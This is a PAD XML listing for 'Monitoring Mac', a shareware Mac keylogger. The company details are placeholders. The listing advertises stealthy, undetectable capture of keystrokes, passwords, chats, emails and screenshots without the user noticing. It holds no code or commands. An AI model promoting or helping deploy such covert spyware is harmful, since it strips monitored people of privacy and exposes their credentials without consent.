<?xml version="1.0" ?>
<XML_DIZ_INFO>
	<MASTER_PAD_VERSION_INFO>
		<MASTER_PAD_VERSION>3.11</MASTER_PAD_VERSION>
		<MASTER_PAD_EDITOR>PADGen 3.1.1.47 http://www.padgen.org</MASTER_PAD_EDITOR>
		<MASTER_PAD_INFO>Portable Application Description, or PAD for short, is a data set that is used by shareware authors to disseminate information to anyone interested in their software products. To find out more go to http://pad.asp-software.org</MASTER_PAD_INFO>
	</MASTER_PAD_VERSION_INFO>
	<Company_Info>
		<Company_Name>Monitoring Mac</Company_Name>
		<Address_1>Address1 street</Address_1>
		<Address_2>second street address2</Address_2>
		<City_Town>cityname</City_Town>
		<State_Province>province name</State_Province>
		<Zip_Postal_Code>21010</Zip_Postal_Code>
		<Country>United States</Country>
		<Company_WebSite_URL>http://www.downloadspysoftware.com</Company_WebSite_URL>
		<Contact_Info>
			<Author_First_Name>Monitoring</Author_First_Name>
			<Author_Last_Name>Mac</Author_Last_Name>
			<Author_Email>genny@downloadspysoftware.com</Author_Email>
			<Contact_First_Name>Monitoring</Contact_First_Name>
			<Contact_Last_Name>Mac</Contact_Last_Name>
			<Contact_Email>genny@downloadspysoftware.com</Contact_Email>
		</Contact_Info>
		<Support_Info>
			<Sales_Email>genny@downloadspysoftware.com</Sales_Email>
			<Support_Email>genny@downloadspysoftware.com</Support_Email>
			<General_Email>genny@downloadspysoftware.com</General_Email>
			<Sales_Phone>+1-9911111111</Sales_Phone>
			<Support_Phone>+1-9911111111</Support_Phone>
			<General_Phone>+1-9911111111</General_Phone>
			<Fax_Phone>+1-9911111111</Fax_Phone>
		</Support_Info>
	</Company_Info>
	<Program_Info>
		<Program_Name>Monitoring Mac</Program_Name>
		<Program_Version>5.4.1.1</Program_Version>
		<Program_Release_Month>06</Program_Release_Month>
		<Program_Release_Day>22</Program_Release_Day>
		<Program_Release_Year>2011</Program_Release_Year>
		<Program_Cost_Dollars>45</Program_Cost_Dollars>
		<Program_Cost_Other_Code>INR</Program_Cost_Other_Code>
		<Program_Cost_Other>2064</Program_Cost_Other>
		<Program_Type>Shareware</Program_Type>
		<Program_Release_Status>New Release</Program_Release_Status>
		<Program_Install_Support>Install and Uninstall</Program_Install_Support>
		<Program_OS_Support>Mac OS X,Mac Other</Program_OS_Support>
		<Program_Language>English</Program_Language>
		<Program_Change_Info>Added support to record typed keystrokes on Mac OS</Program_Change_Info>
		<Program_Specific_Category>Utilities</Program_Specific_Category>
		<Program_Category_Class>Security &amp; Privacy::Covert Surveillance</Program_Category_Class>
		<Program_System_Requirements>256 MB RAM, 10 MB free hard disk space</Program_System_Requirements>
		<File_Info>
			<File_Size_Bytes>1021952</File_Size_Bytes>
			<File_Size_K>998</File_Size_K>
			<File_Size_MB>0.97</File_Size_MB>
		</File_Info>
		<Expire_Info>
			<Has_Expire_Info>Y</Has_Expire_Info>
			<Expire_Count>30</Expire_Count>
			<Expire_Based_On>Days</Expire_Based_On>
			<Expire_Other_Info />
			<Expire_Month />
			<Expire_Day />
			<Expire_Year />
		</Expire_Info>
	</Program_Info>
	<Program_Descriptions>
		<English>
			<Keywords>Surveillance, spyware, tool, utility, Mac, monitoring, software, record, detect, capture, keystrokes, typed, chat, passwords, conversation, screenshots, online, internet, system, PC, events, activity, clipboard, key, logger, stealth, hidden</Keywords>
			<Char_Desc_45>Monitoring Mac tool for tracing PC activities</Char_Desc_45>
			<Char_Desc_80>Remotely record all user activities using multipurpose monitoring Mac spyware</Char_Desc_80>
			<Char_Desc_250>Monitoring Mac software provides overall information about typed keystrokes and internet activities on Mac PC in stealth mode. Best monitoring features of Mac spyware provides facility to secretly capture screenshots of user accessed programs.</Char_Desc_250>
			<Char_Desc_450>Monitoring Mac utility supports advanced technology to capture various user activities like executed applications, clipboard events, typed password, chats, emails, visited websites and other similar actions on Mac system. Spyware program provides amazing features to record any USB device insertion activity on Apple Macintosh without user notice. Log manager utility provides user friendly working platform to easily monitor overall PC events.</Char_Desc_450>
			<Char_Desc_2000>Monitoring Mac application is developed with advanced surveillance features to record overall activities of external user on Mac in stealth manner. Software provides excellent functionalities to capture different online user activities like chat conversations, opened and closed programs, composed emails, passwords, visited websites and other similar actions. Mac log manager has enhanced feature to record screenshots of running applications at defined interval of time. Software is capable to generate user logged details in encrypted html file so that outside user cannot understand recorded activities. System monitoring utility is beneficial for parents to keep kids safe from misusing internet by watching their every activity. Monitoring Mac utility provides best removable device detecting mechanism to track insertion and removal of any type of USB drive in Mac PC like pen drive, thumb drive, MP3 player and digital camera. Users can easily download trial version of monitoring Mac spyware to evaluate features of software before buying real log manager utility. Monitoring Mac software works on Mac OSX and other Mac PC in efficient manner without affecting speed and performance of computer. System monitoring utility runs as background process in undetectable way.
Features:
* Ideal spyware used to record every activity performed on Apple Mac PC and easily affordable by any category of user.
* Provides perfect solution to detect clipboard operations and USB device addition and removal activity on Mac.
* Supports advanced features to record chat conversation and capture screenshots of executed programs.
* Offers simple and user friendly working environment to perform monitoring operations without any technical knowledge.</Char_Desc_2000>
		</English>
	</Program_Descriptions>
	<Web_Info>
		<Application_URLs>
			<Application_Info_URL>http://www.downloadspysoftware.com/dwnspysoft/pcdm-mac.html</Application_Info_URL>
			<Application_Order_URL>http://www.downloadspysoftware.com/dwnspysoft/pcdm-mac.html</Application_Order_URL>
			<Application_Screenshot_URL>http://www.downloadspysoftware.com/dsscom-macpcdm-screen.jpg</Application_Screenshot_URL>
			<Application_Icon_URL>http://www.downloadspysoftware.com/dsscom-macpcdm-icon.jpg</Application_Icon_URL>
			<Application_XML_File_URL>http://www.downloadspysoftware.com/dsscom-macpcdm.xml</Application_XML_File_URL>
		</Application_URLs>
		<Download_URLs>
			<Primary_Download_URL>http://www.downloadspysoftware.com?downloads/MAC-Log-Manager.zip</Primary_Download_URL>
			<Secondary_Download_URL>http://www.downloadspysoftware.com?downloads/MACLogManager.zip</Secondary_Download_URL>
			<Additional_Download_URL_1 />
			<Additional_Download_URL_2 />
		</Download_URLs>
	</Web_Info>
	<Permissions>
		<Distribution_Permissions>MAC Log Manager. Contact on the emails given on the website for legal Distribution information. All distribution rights 

reserved.</Distribution_Permissions>
		<EULA>End User Licence Agreement MAC Log Manager Copyright(c) 2006. Please see software License agreement given in the software 

for End User Licensing information. Contact on the emails given on the website for EULA information. All rights reserved.
</EULA>
	</Permissions>
</XML_DIZ_INFO>

